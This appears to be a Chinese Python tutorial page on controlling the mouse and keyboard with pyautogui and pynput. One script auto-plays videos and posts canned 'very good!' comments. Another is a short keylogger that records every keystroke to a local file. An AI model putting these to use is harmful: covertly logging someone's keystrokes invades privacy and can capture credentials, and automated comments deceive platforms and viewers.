Python控制鼠标键盘代码实例


Posted in Python onDecember 08, 2020

python控制鼠标键盘其实很容易,我们在写程序的时候很多时候会用的到!

python控制鼠标键盘步骤及代码

1、安装类库

pip install pyautogui

2、代码:

import pyautogui,time,random

pyautogui.PAUSE = 3
pyautogui.FAILSAFE = True

width, height = pyautogui.size()
#print(str(width))
#print(str(height))

def drawRct():
 for i in range(10):
  pyautogui.moveTo(300, 300, duration=0.25)
  pyautogui.moveTo(400, 300, duration=0.25)
  pyautogui.moveTo(400, 400, duration=0.25)
  pyautogui.moveTo(300, 400, duration=0.25)


def mouseScroll():
 time.sleep(5)
 for i in range(10):
  pyautogui.scroll(-200)
  time.sleep(2)

def getXy():
 try:
  while True:
   x, y = pyautogui.position()
   print(x,y)
 except KeyboardInterrupt:
  print('\nExit.')


def playVideo(x,y):
 for i in range(4):
  pyautogui.click(x,y)
  x=x+240
  playAndComment()


def playAndComment():
 time.sleep(random.randint(5,15))
 pyautogui.scroll(-400)
 pyautogui.scroll(-400)
 pyautogui.click(200,300)
 pyautogui.typewrite('very good!')
 pyautogui.click(900,400)
 pyautogui.click(710,16)

if __name__ == '__main__':
 time.sleep(5)
 pyautogui.scroll(-300)
 for i in range(9):
  print(str(i))
  time.sleep(random.randint(3,5))
  #pyautogui.click(360,16)
  pyautogui.scroll(-300)
  time.sleep(random.randint(1,5))
  playVideo(404,330)

直接监听用户键盘操作

from pynput.keyboard import Listener
import logging
 
location = "./"
 
logging.basicConfig( filename=(location+"keylogger.txt"), format="%(message)s", level=logging.DEBUG)
 
def press(key):
  logging.info(key)
 
with Listener(on_press = press) as listener:
  print('The program begins to watch the action of keyboard:')
  listener.join()

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python的Flask框架中配置多个子域名的方法讲解
Jun 07 Python
Python实现购物系统(示例讲解)
Sep 13 Python
Python实现二维数组输出为图片
Apr 03 Python
Python实现确认字符串是否包含指定字符串的实例
May 02 Python
使用python存储网页上的图片实例
May 22 Python
Python代码使用 Pyftpdlib实现FTP服务器功能
Jul 22 Python
解决django 新增加用户信息出现错误的问题
Jul 28 Python
django echarts饼图数据动态加载的实例
Aug 12 Python
Python实现Keras搭建神经网络训练分类模型教程
Jun 12 Python
python 爬取豆瓣网页的示例
Apr 13 Python
django如何自定义manage.py管理命令
Apr 27 Python
进行数据处理的6个 Python 代码块分享
Apr 06 Python
Pycharm-community-2020.2.3 社区版安装教程图文详解
Dec 08 #Python
解决pycharm导入numpy包的和使用时报错:RuntimeError: The current Numpy installation (‘D:\\python3.6\\lib\\site-packa的问题
Dec 08 #Python
Python爬虫之App爬虫视频下载的实现
Dec 08 #Python
Python爬虫进阶之爬取某视频并下载的实现
Dec 08 #Python
selenium框架中driver.close()和driver.quit()关闭浏览器
Dec 08 #Python
Python hashlib和hmac模块使用方法解析
Dec 08 #Python
Python虚拟环境virtualenv创建及使用过程图解
Dec 08 #Python
You might like
用PHP生成html分页列表的代码
2007/03/18 PHP
ajax完美实现两个网页 分页功能的实例代码
2013/04/16 PHP
PHP版 汉字转码的实现详解
2013/06/09 PHP
JavaScript 继承详解(三)
2009/07/13 Javascript
jQuery Selector选择器小结
2010/05/06 Javascript
javascript实现tabs选项卡切换效果(自写原生js)
2013/03/19 Javascript
详细介绍8款超实用JavaScript框架
2013/10/25 Javascript
封装的jquery翻页滚动(示例代码)
2013/11/18 Javascript
JavaScript禁止页面操作的示例代码
2013/12/17 Javascript
jquery基础教程之数组使用详解
2014/03/10 Javascript
为JS扩展Array.prototype.indexOf引发的问题及解决办法
2015/01/21 Javascript
js的flv视频播放器插件使用方法
2015/06/23 Javascript
基于JS实现PHP的sprintf函数实例
2015/11/14 Javascript
浅谈JS中的bind方法与函数柯里化
2016/08/10 Javascript
从0开始学Vue
2016/10/27 Javascript
JS判断Android、iOS或浏览器的多种方法(四种方法)
2017/06/29 Javascript
详解如何在angular2中获取节点
2017/11/23 Javascript
还不懂递归?读完这篇文章保证你会懂
2018/07/29 Javascript
JS实现的小火箭发射动画效果示例
2018/12/08 Javascript
简单两步使用node发送qq邮件的方法
2019/03/01 Javascript
Vue-Cli项目优化操作的实现
2019/10/27 Javascript
vue中js判断长时间不操作界面自动退出登录(推荐)
2020/01/22 Javascript
[11:42]2018DOTA2国际邀请赛寻真——OG卷土重来
2018/08/17 DOTA
python实现文本去重且不打乱原本顺序
2016/01/26 Python
Python备份目录及目录下的全部内容的实现方法
2016/06/12 Python
使用Anaconda3建立虚拟独立的python2.7环境方法
2018/06/11 Python
Python实现连接MySql数据库及增删改查操作详解
2019/04/16 Python
python 返回一个列表中第二大的数方法
2019/07/09 Python
你的自行车健身专家:FaFit24
2016/11/16 全球购物
大女孩胸罩:Big Girls Bras
2016/12/15 全球购物
Cecil Mode法国在线商店:女性时尚
2021/01/08 全球购物
一份Java笔试题
2012/02/21 面试题
志愿者宣传口号
2014/06/17 职场文书
工作年限证明模板
2014/11/01 职场文书
2014年社区个人工作总结
2014/12/02 职场文书
党员学习中国梦心得体会
2016/01/05 职场文书